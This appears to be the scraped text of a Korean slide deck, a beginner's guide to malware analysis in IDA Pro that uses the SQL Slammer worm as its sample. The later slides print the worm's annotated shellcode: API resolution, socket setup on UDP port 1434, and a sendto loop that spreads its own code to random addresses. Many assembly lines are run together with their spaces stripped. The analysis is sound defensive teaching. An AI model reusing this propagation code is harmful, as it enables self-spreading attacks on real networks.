240 likes | 687 Views
Ida 를 이용한 악성 코드분석 기초. 오정욱 시큐아이닷컴 CERT mat@monkey.org. Ida Pro. 디스어셈블러로 다수의 CPU Instruction 을 지원한다 . 커멘팅 기능이 강력하다 . 콜그래프 등을 그려 볼 수 있다 . 악성 코드 분석을 위한 Ida. 다수의 CPU Instruction 지원으로 인해 여러 플랫폼을 대상으로 하는 악성 코드를 분석 할 수 있다 . 악성 코드의 특징 악성 코드는 논리의 흐름보다는 효율적인 코드를 사용하는 경우가 많다 .
E N D
Ida를 이용한 악성 코드분석 기초 오정욱 시큐아이닷컴 CERT mat@monkey.org
IdaPro • 디스어셈블러로다수의CPUInstruction을지원한다. • 커멘팅기능이강력하다. • 콜그래프등을그려볼수있다.
악성코드분석을위한Ida • 다수의CPUInstruction지원으로인해여러플랫폼을대상으로하는악성코드를분석할수있다. • 악성코드의특징 • 악성코드는논리의흐름보다는효율적인코드를사용하는경우가많다. • Ida는 그 유연성으로 인해 이러한 상황에 더욱 유용하게 사용이 가능하다.
분석 대상 • 슬래머웜 • 2003.1.25일국내인터넷망을마비시킨웜이다. • 사파이어웜이라고도불린다.
패킷의수집 • 스니퍼나IDS를통하여악성코드의샘플을수집한다.
패킷의분석 • 일단네트워크덤프이므로ethereal을사용하여파일을열어본다. • 올바른 패킷이라면 다음과 같이 디코딩 된다.
데이타확인 • 다음과같이데이타부분을확인할수있다.
파일읽기 • ida를이용하여해당바이너리파일을읽는다.
비트선택 • 32비트로디스어셈블한다.
분석불가능 • 코드부분을자동으로분석불가능함을경고한다.
결과 • 코드가나오지않았다.
코드부분유추 • 다음과같이0x90이연속되는부분을발견하였다.
코드로표시 • C키를누르면그이후부분이코드로표시된다.
플로우표시 • 다음과같이코드의플로우를표시해준다.
커멘트달기 • 분석을하면서중요사항은커멘트를달아준다.
저장 • 분석이끝났을경우저장한다.
ShellcodePartStart nop nop nop nop nop nop nop nop push 42B0C9DCh mov eax, 1010101h xor ecx, ecx mov cl, 18h
Stack 구성 • loc_DD:; CODE XREF: seg000:000000DEjpusheaxlooploc_DDxoreax, 5010101hpusheaxmovebp, esppushecxpush6C6C642Eh; .dllpush32336C65h; el32push6E72656Bh; kernpushecxpush746E756Fh; ountpush436B6369h; ickCpush54746547h; GetTmovcx, 6C6Ch; llpushecxpush642E3233h; 32.dpush5F327377h; ws2_movcx, 7465h; etpushecxpush6B636F73h; sockmovcx, 6F74h; topushecxpush646E6573h; send; ; Stackis now; ; ebp; -10: kernel32.dll; -20: GetTickCount____; -2C: ws2_32.dll__; -34: socket__; -3C: sendto__
LoadLibrary & GetProcAddress • movesi, 42AE1018h; LoadLibrary address?leaeax, [ebp-2Ch]; "ws2_32.dll"pusheaxcalldword ptr [esi]; call LoadLibrary("ws2_32.dll")pusheax; ws2_32.dll handleleaeax, [ebp-20h]; "GetTickCount"pusheaxleaeax, [ebp-10h]; "kernel32.dll"pusheaxcalldword ptr [esi]; call LoadLibrary("kernel32.dll")pusheax; kernel32.dll handlemovesi, 42AE1010h; GetProcAddress?movebx, [esi]moveax, [ebx]cmpeax, 51EC8B55h; Checkif thisGetProcAddress value isvalidjzshort loc_157; GetProcAddress(kernel32.dll handle,"GetTickCount")movesi, 42AE101Ch; GetProcAddress
CallSocket • loc_157:; CODE XREF: seg000:00000150jcalldword ptr [esi]; GetProcAddress(kernel32.dll handle,"GetTickCount")calleax; call GetTickCountxorecx, ecx; ecx=0pushecx; padpushecx; padpusheax; return value of GetTickCount; -> ebp-4c: sin_addr; xorecx, 9B040103h; filling struct sockaddr_in; sin_family; sin_portxorecx, 1010101h; ebp-50: 9a050002; ; sin_port=9a05-> 59a=1434; sin_family=2pushecxleaeax, [ebp-34h]; "socket" addresspusheaxmoveax, [ebp-40h]; ws_32.dll handlepusheaxcalldword ptr [esi]; GetProcAddress(ws2_32.dll handle,"socket")push11hpush2push2calleax; call socket(2,2,17)
Send • pusheaxleaeax, [ebp-3Ch]; "sendto" addresspusheaxmoveax, [ebp-40h]; ws2_32.dll handlepusheaxcalldword ptr [esi]; GetProcAddress(ws2_32.dll handle,"sendto")movesi, eax; esi=sendto addressorebx, ebxxorebx, 0FFD9613Ch
StackMap • ; Stackis now; ; ebp; -10: kernel32.dll; -20: GetTickCount____; -2C: ws2_32.dll__; -34: socket__; -3C: sendto__; -40: ws2_32.dll handle; ; struct sockaddr_in; -----------------------------------------; -44: 0; -48: 0; -4c: GetTickCount result: sin_addr; -4e: 9a05: sin_port; -50: 0002: sin_family; -----------------------------------; ; sin_port=9a05-> 59a=1434; sin_family=2; -----------------------------------------; ; /* Structure describing an Internet (IP) socket address. */; #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */; struct sockaddr_in {; sa_family_t sin_family; /* Address family */ ; unsigned short int sin_port; /* Port number */ ; struct in_addr sin_addr; /* Internet address */ ; ; /* Pad to size of `struct sockaddr'. */; unsigned char __pad[__SOCK_SIZE__ -sizeof(short int) -; sizeof(unsigned shortint) - sizeof(struct in_addr)];; };;
PacketSendtoloop • packet_sendto_loop:; CODE XREF: seg000:000001C8jmoveax, [ebp-4Ch]; struct sockaddr_in ->sin_addrleaecx, [eax+eax*2] ; get random addressleaedx, [eax+ecx*4]shledx, 4addedx, eaxshledx, 8subedx, eaxleaeax, [eax+edx*4]addeax, ebxmov[ebp-4Ch], eax; sin_addr settingpush10h; socklen_t tolen=0x10leaeax, [ebp-50h]pusheax; struct sockaddr_in *toxorecx, ecxpushecx; flags=0xorcx, 178hpushecx; len=178hleaeax, [ebp+3]pusheax; data=start ofthis codemoveax, [ebp-54h]pusheax; socket handlecallesi; call sendtojmpshort packet_sendto_loop ; struct sockaddr_in -> sin_addrseg000endsend